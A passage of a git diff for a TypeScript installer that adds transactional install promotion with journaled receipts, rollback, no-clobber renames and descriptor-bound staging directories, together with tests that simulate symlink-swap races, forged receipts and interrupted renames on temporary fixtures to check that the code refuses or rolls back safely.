=== 'capture-prior' && event.member === 'LICENSE') { + injected = true; + const bytes = readFileSync(live); + renameSync(live, originalPath); + writeFileSync(live, bytes); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('rollback retained a transaction'); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(originalPath), original)).toBe(true); + expect(readFileSync(join(pendingRoots(fixture)[0] as string, 'prior', 'LICENSE'), 'utf8')).toBe('1.0.0:license\n'); + expect(pendingRoots(fixture)).toHaveLength(1); + }); + + test('rollback refuses an occupied staging name and preserves both foreign and published objects', () => { + const fixture = makeFixture(false); + const incoming = inspectPhysicalPath(join(fixture.staging, '.agents')); + expect(() => promote(fixture, { dependencies: interruption('publish-incoming', '.agents') })).toThrow( + InstallPromotionInterruptedError, + ); + mkdirSync(join(fixture.staging, '.agents')); + writeFileSync(join(fixture.staging, '.agents', 'foreign.txt'), 'foreign\n'); + + expect(() => recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toThrow( + 'could not be recovered safely', + ); + expect(readFileSync(join(fixture.staging, '.agents', 'foreign.txt'), 'utf8')).toBe('foreign\n'); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.bin, '.agents')), incoming)).toBe(true); + expect(pendingRoots(fixture)).toHaveLength(1); + }); + + test('a symlink prior is moved and restored as an object without touching its target', () => { + const fixture = makeFixture(); + const victim = join(fixture.root, 'victim'); + const templates = join(fixture.bin, 'templates'); + rmSync(templates, { recursive: true }); + mkdirSync(victim); + writeFileSync(join(victim, 'untouched.txt'), 'untouched\n'); + symlinkSync(victim, templates); + const prior = inspectPhysicalPath(templates); + + expect(() => promote(fixture, { dependencies: interruption('publish-incoming', 'templates') })).toThrow( + InstallPromotionInterruptedError, + ); + recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + + expect(lstatSync(templates).isSymbolicLink()).toBe(true); + expect(readlinkSync(templates)).toBe(victim); + expect(readFileSync(join(victim, 'untouched.txt'), 'utf8')).toBe('untouched\n'); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(templates), prior)).toBe(true); + }); + + test('an active transaction is rollback-only even after a committed receipt and prior backup publication', () => { + const fixture = makeFixture(); + let failArchive = true; + const deps = dependencies({ + beforeRename: (event) => { + if (failArchive && event.operation === 'archive-transaction') { + failArchive = false; + throw new Error('simulated process death before archive'); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('terminal decision'); + assertGeneration(fixture.bin, '2.0.0'); + expect(pendingRoots(fixture)).toHaveLength(1); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + expect(pendingRoots(fixture)).toEqual([]); + }); + + test('an active committed receipt is rolled back before prior-binary backup publication', () => { + const fixture = makeFixture(); + let stopBeforeBackup = true; + const deps = dependencies({ + beforeRename: (event) => { + if (stopBeforeBackup && event.operation === 'publish-prior-binary') { + stopBeforeBackup = false; + throw new Error('simulated death before prior-binary publication'); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('terminal decision'); + assertGeneration(fixture.bin, '2.0.0'); + expect(existsSync(join(fixture.bin, '.previous', `genie-prior-${TEST_TRANSACTION_ID}`))).toBe(false); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + expect(report?.priorBinaryPath).toBeUndefined(); + expect(existsSync(join(fixture.bin, '.previous', `genie-prior-${TEST_TRANSACTION_ID}`))).toBe(false); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + }); + + test('accepts a current-user physical 0755 .previous directory without weakening no-clobber backup publication', () => { + const fixture = makeFixture(); + const previous = join(fixture.bin, '.previous'); + mkdirSync(previous, { mode: 0o755 }); + + const report = promote(fixture); + + expect(report.outcome).toBe('committed'); + expect(lstatSync(previous).mode & 0o777).toBe(0o755); + expect(existsSync(report.priorBinaryPath as string)).toBe(true); + }); + + test('a nested symlink inserted after stable member inspection is identity-mismatched and never committed', () => { + const fixture = makeFixture(false); + const outside = join(fixture.root, 'outside-race'); + writeFileSync(outside, 'outside\n'); + let agentsInspections = 0; + const deps = dependencies({ + afterPayloadMemberInspected: (member) => { + if (member === '.agents' && ++agentsInspections === 2) { + symlinkSync(outside, join(fixture.staging, '.agents', 'late-link')); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('rollback retained a transaction'); + expect(existsSync(join(fixture.bin, '.agents'))).toBe(false); + expect(lstatSync(join(fixture.staging, '.agents', 'late-link')).isSymbolicLink()).toBe(true); + expect(readFileSync(outside, 'utf8')).toBe('outside\n'); + expect(pendingRoots(fixture)).toHaveLength(1); + }); + + test('a nested mutation at the final publish boundary is quarantined away from the public live name', () => { + const fixture = makeFixture(false); + const outside = join(fixture.root, 'outside-final-boundary'); + writeFileSync(outside, 'outside\n'); + let injected = false; + const deps = dependencies({ + beforeRename: (event) => { + if (!injected && event.operation === 'publish-incoming' && event.member === '.agents') { + injected = true; + symlinkSync(outside, join(fixture.staging, '.agents', 'late-link')); + } + }, + }); + + expect(() => promote(fixture, { dependencies: deps })).toThrow('rollback retained a transaction'); + expect(existsSync(join(fixture.bin, '.agents'))).toBe(false); + expect(lstatSync(join(fixture.staging, '.agents', 'late-link')).isSymbolicLink()).toBe(true); + expect(readFileSync(outside, 'utf8')).toBe('outside\n'); + expect(pendingRoots(fixture)).toHaveLength(1); + }); + + test('forged verified and committed receipts after the final binary publish cannot authorize activation', () => { + const fixture = makeFixture(); + const priorBinary = inspectPhysicalPath(join(fixture.bin, 'genie')); + expect(() => promote(fixture, { dependencies: interruption('publish-incoming', 'genie') })).toThrow( + InstallPromotionInterruptedError, + ); + const transactionRoot = pendingRoots(fixture)[0] as string; + let sequence = readdirSync(join(transactionRoot, 'receipts')).length + 1; + writeReceipt(transactionRoot, sequence++, 'published', 0o600, 'genie'); + writeReceipt(transactionRoot, sequence++, 'verified'); + writeReceipt(transactionRoot, sequence, 'committed'); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + assertGeneration(fixture.bin, '1.0.0'); + assertGeneration(fixture.staging, '2.0.0'); + expect(physicalPathIdentitiesEqual(inspectPhysicalPath(join(fixture.bin, 'genie')), priorBinary)).toBe(true); + expect(pendingRoots(fixture)).toEqual([]); + }); + + for (const forgedTerminal of ['committed', 'rolledback'] as const) { + test(`rejects a forged canonical ${forgedTerminal} receipt without an authorized receipt history`, () => { + const fixture = makeFixture(false); + expect(() => promote(fixture, { dependencies: interruption('activate-transaction', null) })).toThrow( + InstallPromotionInterruptedError, + ); + const transactionRoot = pendingRoots(fixture)[0] as string; + writeReceipt(transactionRoot, 1, 'created'); + writeReceipt(transactionRoot, 2, forgedTerminal); + + expect(() => recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toThrow( + forgedTerminal === 'committed' ? 'not immediately authorized' : 'not authorized by rollback-started', + ); + expect(readdirSync(fixture.staging).sort()).toEqual([...INSTALL_PAYLOAD_MEMBERS]); + expect(INSTALL_PAYLOAD_MEMBERS.some((name) => existsSync(join(fixture.bin, name)))).toBe(false); + expect(pendingRoots(fixture)).toEqual([transactionRoot]); + }); + } + + test('an authorized-looking committed history is rollback-only in an active transaction', () => { + const fixture = makeFixture(false); + expect(() => promote(fixture, { dependencies: interruption('activate-transaction', null) })).toThrow( + InstallPromotionInterruptedError, + ); + const transactionRoot = pendingRoots(fixture)[0] as string; + writeReceipt(transactionRoot, 1, 'created'); + writeReceipt(transactionRoot, 2, 'verified'); + writeReceipt(transactionRoot, 3, 'committed'); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + expect(readdirSync(fixture.staging).sort()).toEqual([...INSTALL_PAYLOAD_MEMBERS]); + expect(INSTALL_PAYLOAD_MEMBERS.some((name) => existsSync(join(fixture.bin, name)))).toBe(false); + }); + + test('an authorized-looking rolledback history still infers and rolls back a published member', () => { + const fixture = makeFixture(false); + expect(() => promote(fixture, { dependencies: interruption('publish-incoming', '.agents') })).toThrow( + InstallPromotionInterruptedError, + ); + const transactionRoot = pendingRoots(fixture)[0] as string; + writeReceipt(transactionRoot, 2, 'rollback-started'); + writeReceipt(transactionRoot, 3, 'rolledback'); + + const [report] = recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() }); + expect(report?.outcome).toBe('rolledback'); + expect(existsSync(join(fixture.bin, '.agents'))).toBe(false); + expect(lstatSync(join(fixture.staging, '.agents')).isDirectory()).toBe(true); + }); + + test('rejects non-0600 receipts and unknown transaction-root objects without mutating payload paths', () => { + const fixture = makeFixture(false); + expect(() => promote(fixture, { dependencies: interruption('activate-transaction', null) })).toThrow( + InstallPromotionInterruptedError, + ); + const transactionRoot = pendingRoots(fixture)[0] as string; + writeReceipt(transactionRoot, 1, 'created', 0o644); + + expect(() => recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toThrow( + 'not a bounded regular file', + ); + chmodSync(join(transactionRoot, 'receipts', '000000000001.json'), 0o600); + writeFileSync(join(transactionRoot, 'foreign-root-object'), 'foreign\n'); + expect(() => recoverPendingInstallPromotions({ genieHome: fixture.home, dependencies: dependencies() })).toThrow( + 'unknown or missing object', + ); + expect(readFileSync(join(transactionRoot, 'foreign-root-object'), 'utf8')).toBe('foreign\n'); + expect(readdirSync(fixture.staging).sort()).toEqual([...INSTALL_PAYLOAD_MEMBERS]); + }); + + test('rejects nested staged symlinks before executing the version verifier or publishing a journal', () => { + const fixture = makeFixture(false); + const outside = join(fixture.root, 'outside'); + writeFileSync(outside, 'outside\n'); + symlinkSync(outside, join(fixture.staging, 'plugins', 'escape')); + let verifierCalled = false; + + expect(() => + promoteStagedInstall({ + genieHome: fixture.home, + stagingRoot: fixture.staging, + expectedVersion: '2.0.0', + verifyVersion: () => { + verifierCalled = true; + return undefined; + }, + dependencies: dependencies(), + }), + ).toThrow('staged payload contains a symlink'); + expect(verifierCalled).toBe(false); + expect(readFileSync(outside, 'utf8')).toBe('outside\n'); + expect(pendingRoots(fixture)).toEqual([]); + }); + + test('creates and removes an empty direct private stage through held descriptors', () => { + const root = makeRoot(); + const home = join(root, 'home'); + mkdirSync(join(home, 'bin'), { recursive: true }); + const guard = createInstallStagingDirectory({ + genieHome: home, + randomId: () => '44444444-4444-4444-8444-444444444444', + }); + try { + expect(lstatSync(guard.stagingRoot).mode & 0o777).toBe(0o700); + expect(removeInstallStagingDirectory(guard)).toBe(true); + expect(existsSync(guard.stagingRoot)).toBe(false); + } finally { + closeInstallStagingDirectory(guard); + } + }); + + test('a replacement directory at the cleanup name is preserved instead of unlinking the wrong object', () => { + const root = makeRoot(); + const home = join(root, 'home'); + const bin = join(home, 'bin'); + const name = '.install-staging-55555555-5555-4555-8555-555555555555'; + const displaced = join(bin, '.held-stage'); + mkdirSync(bin, { recursive: true }); + + expect(() => + createInstallStagingDirectory({ + genieHome: home, + randomId: () => '55555555-5555-4555-8555-555555555555', + afterCreated: () => { + renameSync(join(bin, name), displaced); + mkdirSync(join(bin, name), { mode: 0o700 }); + }, + }), + ).toThrow('changed after its physical directory was bound'); + expect(existsSync(join(bin, name))).toBe(true); + expect(readdirSync(join(bin, name))).toEqual([]); + expect(existsSync(displaced)).toBe(true); + }); + + test('bin replacement after validation never creates staging in the symlink victim', () => { + const root = makeRoot(); + const home = join(root, 'home'); + const bin = join(home, 'bin'); + const heldBin = join(home, 'held-bin'); + const victim = join(root, 'victim'); + mkdirSync(bin, { recursive: true }); + mkdirSync(victim, { mode: 0o700 }); + writeFileSync(join(victim, 'sentinel'), 'safe\n'); + + expect(() => + createInstallStagingDirectory({ + genieHome: home, + randomId: () => '66666666-6666-4666-8666-666666666666', + afterParentValidated: () => { + renameSync(bin, heldBin); + symlinkSync(victim, bin); + }, + }), + ).toThrow(); + expect(readdirSync(victim)).toEqual(['sentinel']); + expect(readFileSync(join(victim, 'sentinel'), 'utf8')).toBe('safe\n'); + }); + + test('admission copies only into the held stage and rejects visible-stage replacement', () => { + const root = makeRoot(); + const home = join(root, 'home'); + const bin = join(home, 'bin'); + const external = join(root, 'external'); + const victim = join(root, 'victim'); + const name = '.install-staging-77777777-7777-4777-8777-777777777777'; + const quarantined = join(bin, '.quarantined-held-stage'); + mkdirSync(bin, { recursive: true }); + mkdirSync(external, { mode: 0o700 }); + mkdirSync(victim, { mode: 0o700 }); + writePayload(external, '2.0.0'); + writeFileSync(join(victim, 'sentinel'), 'safe\n'); + + expect(() => + admitExternalInstallStaging({ + genieHome: home, + externalStagingRoot: external, + expectedVersion: '2.0.0', + randomId: () => '77777777-7777-4777-8777-777777777777', + afterCreated: () => { + renameSync(join(bin, name), quarantined); + symlinkSync(victim, join(bin, name)); + }, + }), + ).toThrow(); + expect(readFileSync(join(quarantined, 'plugins', 'generation.txt'), 'utf8')).toBe('2.0.0:plugins\n'); + expect(readdirSync(victim)).toEqual(['sentinel']); + expect(readFileSync(join(victim, 'sentinel'), 'utf8')).toBe('safe\n'); + }); + + test('post-admission same-root mutation breaks the authenticated payload guard', () => { + const root = makeRoot(); + const home = join(root, 'home'); + const external = join(root, 'external'); + mkdirSync(join(home, 'bin'), { recursive: true }); + mkdirSync(external, { mode: 0o700 }); + writePayload(external, '2.0.0'); + const guard = admitExternalInstallStaging({ + genieHome: home, + externalStagingRoot: external, + expectedVersion: '2.0.0', + randomId: () => '88888888-8888-4888-8888-888888888888', + }); + try { + writeFileSync(join(guard.stagingRoot, 'plugins', 'generation.txt'), 'foreign\n'); + expect(() => verifyAdmittedInstallStagingPayload(guard)).toThrow('authenticated content digest'); + } finally { + closeInstallStagingDirectory(guard); + } + }); +}); diff --git a/src/lib/install-promotion.ts b/src/lib/install-promotion.ts new file mode 100644 index 000000000..62466d369 --- /dev/null +++ b/src/lib/install-promotion.ts @@ -0,0 +1,2049 @@ +import { dlopen } from 'bun:ffi'; +import { execFileSync } from 'node:child_process'; +import { createHash, randomUUID } from 'node:crypto'; +import { + constants, + type BigIntStats, + closeSync, + cpSync, + fchmodSync, + fstatSync, + fsyncSync, + lstatSync, + mkdirSync, + openSync, + readFileSync, + readSync, + readdirSync, + writeFileSync, +} from 'node:fs'; +import { basename, dirname, join, relative, resolve, sep } from 'node:path'; +import { + type NativeNoReplaceDependencies, + type PhysicalPathIdentity, + inspectPhysicalPath, + nativeNoReplaceCapability, + parsePhysicalPathIdentity, + physicalPathIdentitiesEqual, + renamePathNoClobber, +} from './install-transaction.js'; + +export const INSTALL_PAYLOAD_MEMBERS = [ + '.agents', + '.claude-plugin', + 'LICENSE', + 'VERSION', + 'genie', + 'plugins', + 'skills', + 'templates', +] as const; + +export type InstallPayloadMember = (typeof INSTALL_PAYLOAD_MEMBERS)[number]; +export type InstallPromotionOutcome = 'committed' | 'rolledback'; +export type InstallPromotionRenameOperation = + | 'activate-transaction' + | 'archive-transaction' + | 'capture-prior' + | 'publish-incoming' + | 'publish-prior-binary' + | 'publish-receipt' + | 'reclaim-prior-binary' + | 'restore-prior' + | 'return-incoming'; + +export interface InstallPromotionRenameEvent { + operation: InstallPromotionRenameOperation; + member: InstallPayloadMember | null; + sourcePath: string; + targetPath: string; + transactionId: string; +} + +export interface InstallPromotionDependencies { + nativeRename?: NativeNoReplaceDependencies; + randomId?: () => string; + /** Deterministic final-boundary race seam. Production callers should omit it. */ + beforeRename?: (event: InstallPromotionRenameEvent) => void; + /** Deterministic process-death seam. Returning true leaves the durable transaction pending. */ + interruptAfterRename?: (event: InstallPromotionRenameEvent) => boolean; + /** Deterministic staged-tree race seam. Production callers should omit it. */ + afterPayloadMemberInspected?: (member: InstallPayloadMember, identity: PhysicalPathIdentity) => void; +} + +export interface InstallVersionVerificationContext { + binaryPath: string; + expectedVersion: string; + phase: 'staged' | 'live'; +} + +export interface PromoteStagedInstallOptions { + genieHome: string; + stagingRoot: string; + expectedVersion: string; + verifyVersion?: (context: InstallVersionVerificationContext) => boolean | undefined; + dependencies?: InstallPromotionDependencies; +} + +export interface RecoverInstallPromotionsOptions { + genieHome: string; + dependencies?: InstallPromotionDependencies; +} + +export interface InstallPromotionReport { + schemaVersion: 1; + transactionId: string; + outcome: InstallPromotionOutcome; + archivePath: string; + stagingRoot: string; + priorBinaryPath?: string; +} + +export interface InstallStagingDirectoryGuard { + schemaVersion: 1; + genieHome: string; + liveRoot: string; + stagingRoot: string; + /** Held physical staging directory used by the guard's descriptor-bound operations. */ + directoryFd: number; +} + +export interface CreateInstallStagingDirectoryOptions { + genieHome: string; + randomId?: () => string; + /** Deterministic race seam after GENIE_HOME/bin is bound and validated but before mkdirat. */ + afterParentValidated?: () => void; + /** Deterministic race seam after the private child is bound but before the visible path is revalidated. */ + afterCreated?: () => void; +} + +export interface AdmitExternalInstallStagingOptions extends CreateInstallStagingDirectoryOptions { + externalStagingRoot: string; + expectedVersion: string; + verifyVersion?: (context: InstallVersionVerificationContext) => boolean | undefined; + dependencies?: InstallPromotionDependencies; +} + +interface HeldInstallStagingDirectory extends InstallStagingDirectoryGuard { + homeFd: number; + liveFd: number; + stagingName: string; +} + +interface InstallStagingAtApi { + changeDirectory: (fd: number) => number; + openDirectory: (parentFd: number, name: string) => number; + mkdir: (parentFd: number, name: string, mode: number) => number; + removeDirectory: (parentFd: number, name: string) => number; +} + +interface JournalMember { + name: InstallPayloadMember; + incoming: PhysicalPathIdentity; + prior: PhysicalPathIdentity | null; +} + +interface InstallPromotionJournal { + schemaVersion: 1; + transactionId: string; + expectedVersion: string | null; + genieHome: string; + liveRoot: string; + stagingRoot: string; + members: JournalMember[]; +} + +type ReceiptPhase = + | 'captured' + | 'committed' + | 'created' + | 'published' + | 'restored' + | 'returned' + | 'rollback-started' + | 'rolledback' + | 'verified'; + +interface InstallPromotionReceipt { + schemaVersion: 1; + transactionId: string; + sequence: number; + phase: ReceiptPhase; + member: InstallPayloadMember | null; +} + +interface LoadedTransaction { + root: string; + journal: InstallPromotionJournal; + receipts: InstallPromotionReceipt[]; +} + +type MemberState = 'captured' | 'initial' | 'published' | 'published-drifted' | 'quarantined'; + +const TRANSACTION_PREFIX = '.install-transaction-'; +const PREPARATION_PREFIX = '.install-transaction-preparing-'; +const HISTORY_DIRECTORY = '.install-history'; +const JOURNAL_FILE = 'journal.json'; +const RECEIPT_WIDTH = 12; +const MAX_JOURNAL_BYTES = 1024 * 1024; +const MAX_VERSION_STAMP_BYTES = 256; +const TRANSACTION_ID_PATTERN = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/; +const VERSION_PATTERN = /(?:^|[^0-9A-Za-z.+-])v?([0-9]+\.[0-9]+\.[0-9]+(?:[-+][0-9A-Za-z.-]+)?)(?:[^0-9A-Za-z.+-]|$)/; +const INSTALL_STAGING_NAME_PATTERN = + /^\.install-staging-[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/; +const AT_REMOVEDIR = process.platform === 'darwin' ? 0x80 : 0x200; +const LINUX_LIBC_CANDIDATES = [ + 'libc.so.6', + 'libc.so', + 'ld-musl-x86_64.so.1', + 'libc.musl-x86_64.so.1', + 'ld-musl-aarch64.so.1', + 'libc.musl-aarch64.so.1', +] as const; + +let cachedInstallStagingAtApi: InstallStagingAtApi | null | undefined; +const activeInstallStagingGuards = new WeakSet(); +const installStagingContentDigests = new WeakMap(); + +const EXPECTED_MEMBER_KINDS: Record = { + '.agents': 'directory', + '.claude-plugin': 'directory', + LICENSE: 'file', + VERSION: 'file', + genie: 'file', + plugins: 'directory', + skills: 'directory', + templates: 'directory', +}; + +const JOURNAL_KEYS = [ + 'expectedVersion', + 'genieHome', + 'liveRoot', + 'members', + 'schemaVersion', + 'stagingRoot', + 'transactionId', +]; +const JOURNAL_MEMBER_KEYS = ['incoming', 'name', 'prior']; +const RECEIPT_KEYS = ['member', 'phase', 'schemaVersion', 'sequence', 'transactionId']; +const RECEIPT_PHASES = new Set([ + 'captured', + 'committed', + 'created', + 'published', + 'restored', + 'returned', + 'rollback-started', + 'rolledback', + 'verified', +]); +const MEMBER_RECEIPT_PHASES = new Set(['captured', 'published', 'restored', 'returned']); + +export class InstallPromotionError extends Error { + readonly transactionPath?: string; + readonly archivePath?: string; + readonly rolledBack: boolean; + + constructor( + message: string, + options: { transactionPath?: string; archivePath?: string; rolledBack?: boolean; cause?: unknown } = {}, + ) { + super(message, options.cause === undefined ? undefined : { cause: options.cause }); + this.name = 'InstallPromotionError'; + this.transactionPath = options.transactionPath; + this.archivePath = options.archivePath; + this.rolledBack = options.rolledBack ?? false; + } +} + +export class InstallPromotionInterruptedError extends InstallPromotionError { + constructor(transactionPath: string, event: InstallPromotionRenameEvent) { + super(`install promotion interrupted after ${event.operation}; durable recovery is pending`, { transactionPath }); + this.name = 'InstallPromotionInterruptedError'; + } +} + +function isNodeError(error: unknown, code: string): boolean { + return error instanceof Error && 'code' in error && error.code === code; +} + +function exactKeys(value: Record, expected: readonly string[], label: string): void { + const actual = Object.keys(value).sort(); + if (actual.length !== expected.length || actual.some((key, index) => key !== expected[index])) { + throw new InstallPromotionError(`${label} has missing or unknown fields`); + } +} + +function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +function memberName(value: unknown, label: string): InstallPayloadMember { + if (typeof value !== 'string' || !INSTALL_PAYLOAD_MEMBERS.includes(value as InstallPayloadMember)) { + throw new InstallPromotionError(`${label} is not an allowed installer member`); + } + return value as InstallPayloadMember; +} + +function versionToken(value: string): string | null { + return value.match(VERSION_PATTERN)?.[1] ?? null; +} + +function canonicalExpectedVersion(value: string | undefined): string | null { + if (value === undefined) return null; + const token = versionToken(value); + if (token === null) throw new InstallPromotionError('expected install version is malformed'); + return token; +} + +function currentUid(): bigint { + if (process.getuid === undefined) throw new InstallPromotionError('install promotion requires a POSIX user identity'); + return BigInt(process.getuid()); +} + +function cString(value: string): Buffer { + return Buffer.from(`${value}\0`); +} + +function openInstallStagingAtApi(path: string): InstallStagingAtApi | null { + try { + const libc = dlopen(path, { + fchdir: { args: ['i32'], returns: 'i32' }, + mkdirat: { args: ['i32', 'cstring', 'u32'], returns: 'i32' }, + openat: { args: ['i32', 'cstring', 'i32', 'u32'], returns: 'i32' }, + unlinkat: { args: ['i32', 'cstring', 'i32'], returns: 'i32' }, + } as const); + return { + changeDirectory: (fd) => libc.symbols.fchdir(fd), + openDirectory: (parentFd, name) => + libc.symbols.openat( + parentFd, + cString(name), + constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW, + 0, + ), + mkdir: (parentFd, name, mode) => libc.symbols.mkdirat(parentFd, cString(name), mode), + removeDirectory: (parentFd, name) => libc.symbols.unlinkat(parentFd, cString(name), AT_REMOVEDIR), + }; + } catch { + return null; + } +} + +function installStagingAtApi(): InstallStagingAtApi { + if (cachedInstallStagingAtApi !== undefined) { + if (cachedInstallStagingAtApi === null) { + throw new InstallPromotionError('dirfd-bound install staging operations are unavailable'); + } + return cachedInstallStagingAtApi; + } + const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : LINUX_LIBC_CANDIDATES; + for (const candidate of candidates) { + const api = openInstallStagingAtApi(candidate); + if (api !== null) { + cachedInstallStagingAtApi = api; + return api; + } + } + cachedInstallStagingAtApi = null; + throw new InstallPromotionError(`dirfd-bound install staging operations are unavailable on ${process.platform}`); +} + +function assertSafeOwnedInstallDirectoryStat(stat: BigIntStats, label: string, exactMode?: number): void { + if (!stat.isDirectory() || stat.isSymbolicLink() || stat.uid !== currentUid() || stat.nlink < 1n) { + throw new InstallPromotionError(`${label} is not an owned physical directory`); + } + const permissions = Number(stat.mode & 0o777n); + if ((permissions & 0o022) !== 0 || (exactMode !== undefined && permissions !== exactMode)) { + throw new InstallPromotionError(`${label} has unsafe permissions`); + } +} + +function installDirectoryObjectsEqual(left: BigIntStats, right: BigIntStats): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.nlink === right.nlink + ); +} + +function openOwnedInstallDirectory(path: string, label: string, exactMode?: number): number { + let fd: number; + try { + fd = openSync(path, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + } catch (error) { + throw new InstallPromotionError(`${label} is unavailable as a no-follow directory`, { cause: error }); + } + try { + assertSafeOwnedInstallDirectoryStat(fstatSync(fd, { bigint: true }), label, exactMode); + return fd; + } catch (error) { + closeSync(fd); + throw error; + } +} + +function openOwnedInstallChildDirectory(parentFd: number, name: string, label: string, exactMode?: number): number { + const fd = installStagingAtApi().openDirectory(parentFd, name); + if (fd < 0) throw new InstallPromotionError(`${label} is unavailable as a no-follow direct child directory`); + try { + assertSafeOwnedInstallDirectoryStat(fstatSync(fd, { bigint: true }), label, exactMode); + return fd; + } catch (error) { + closeSync(fd); + throw error; + } +} + +function heldInstallStagingGuard(value: InstallStagingDirectoryGuard): HeldInstallStagingDirectory { + if (!activeInstallStagingGuards.has(value)) { + throw new InstallPromotionError('install staging guard is closed or was not created by this process'); + } + return value as HeldInstallStagingDirectory; +} + +function assertHeldInstallDirectoryVisible(fd: number, path: string, label: string, exactMode?: number): void { + const visibleFd = openOwnedInstallDirectory(path, label, exactMode); + try { + if (!installDirectoryObjectsEqual(fstatSync(fd, { bigint: true }), fstatSync(visibleFd, { bigint: true }))) { + throw new InstallPromotionError(`${label} changed after its physical directory was bound`); + } + } finally { + closeSync(visibleFd); + } +} + +function removeExactHeldInstallStagingChild(liveFd: number, stagingName: string, directoryFd: number): boolean { + let visibleFd: number; + try { + visibleFd = openOwnedInstallChildDirectory(liveFd, stagingName, 'install staging directory', 0o700); + } catch { + return false; + } + try { + if ( + !installDirectoryObjectsEqual(fstatSync(directoryFd, { bigint: true }), fstatSync(visibleFd, { bigint: true })) + ) { + return false; + } + } finally { + closeSync(visibleFd); + } + const removed = installStagingAtApi().removeDirectory(liveFd, stagingName) === 0; + if (removed) fsyncSync(liveFd); + return removed; +} + +/** Reopen the canonical chain no-follow and require it to name the exact three held directory objects. */ +export function verifyInstallStagingDirectory(guardValue: InstallStagingDirectoryGuard): void { + const guard = heldInstallStagingGuard(guardValue); + if ( + guard.schemaVersion !== 1 || + guard.genieHome !== resolve(guard.genieHome) || + guard.liveRoot !== join(guard.genieHome, 'bin') || + guard.stagingRoot !== join(guard.liveRoot, guard.stagingName) || + !INSTALL_STAGING_NAME_PATTERN.test(guard.stagingName) + ) { + throw new InstallPromotionError('install staging guard is malformed'); + } + assertHeldInstallDirectoryVisible(guard.homeFd, guard.genieHome, 'GENIE_HOME'); + const visibleLiveFd = openOwnedInstallChildDirectory(guard.homeFd, 'bin', 'GENIE_HOME/bin'); + try { + if ( + !installDirectoryObjectsEqual( + fstatSync(guard.liveFd, { bigint: true }), + fstatSync(visibleLiveFd, { bigint: true }), + ) + ) { + throw new InstallPromotionError('GENIE_HOME/bin changed after its physical directory was bound'); + } + } finally { + closeSync(visibleLiveFd); + } + const visibleStagingFd = openOwnedInstallChildDirectory( + guard.liveFd, + guard.stagingName, + 'install staging directory', + 0o700, + ); + try { + if ( + !installDirectoryObjectsEqual( + fstatSync(guard.directoryFd, { bigint: true }), + fstatSync(visibleStagingFd, { bigint: true }), + ) + ) { + throw new InstallPromotionError('install staging directory changed after its physical directory was bound'); + } + } finally { + closeSync(visibleStagingFd); + } +} + +/** Create one exact private direct child without ever resolving a writable child pathname. */ +export function createInstallStagingDirectory( + options: CreateInstallStagingDirectoryOptions, +): InstallStagingDirectoryGuard { + const genieHome = resolve(options.genieHome); + if (genieHome !== options.genieHome) throw new InstallPromotionError('GENIE_HOME must be an absolute canonical path'); + const liveRoot = join(genieHome, 'bin'); + const homeFd = openOwnedInstallDirectory(genieHome, 'GENIE_HOME'); + let liveFd: number | null = null; + let directoryFd: number | null = null; + let stagingName: string | null = null; + let guard: HeldInstallStagingDirectory | null = null; + try { + liveFd = openOwnedInstallChildDirectory(homeFd, 'bin', 'GENIE_HOME/bin'); + options.afterParentValidated?.(); + const id = (options.randomId ?? randomUUID)().toLowerCase(); + stagingName = `.install-staging-${id}`; + if (!INSTALL_STAGING_NAME_PATTERN.test(stagingName)) { + throw new InstallPromotionError('install staging id generator returned a non-UUID value'); + } + if (installStagingAtApi().mkdir(liveFd, stagingName, 0o700) !== 0) { + throw new InstallPromotionError('could not reserve an exclusive install staging directory'); + } + directoryFd = openOwnedInstallChildDirectory(liveFd, stagingName, 'install staging directory'); + fchmodSync(directoryFd, 0o700); + assertSafeOwnedInstallDirectoryStat(fstatSync(directoryFd, { bigint: true }), 'install staging directory', 0o700); + fsyncSync(directoryFd); + fsyncSync(liveFd); + guard = { + schemaVersion: 1, + genieHome, + liveRoot, + stagingRoot: join(liveRoot, stagingName), + directoryFd, + homeFd, + liveFd, + stagingName, + }; + activeInstallStagingGuards.add(guard); + installStagingContentDigests.set(guard, null); + options.afterCreated?.(); + verifyInstallStagingDirectory(guard); + return guard; + } catch (error) { + if (guard !== null) activeInstallStagingGuards.delete(guard); + if (guard !== null) installStagingContentDigests.delete(guard); + if (directoryFd !== null && stagingName !== null && liveFd !== null) { + removeExactHeldInstallStagingChild(liveFd, stagingName, directoryFd); + } + if (directoryFd !== null) closeSync(directoryFd); + if (liveFd !== null) closeSync(liveFd); + closeSync(homeFd); + throw error; + } 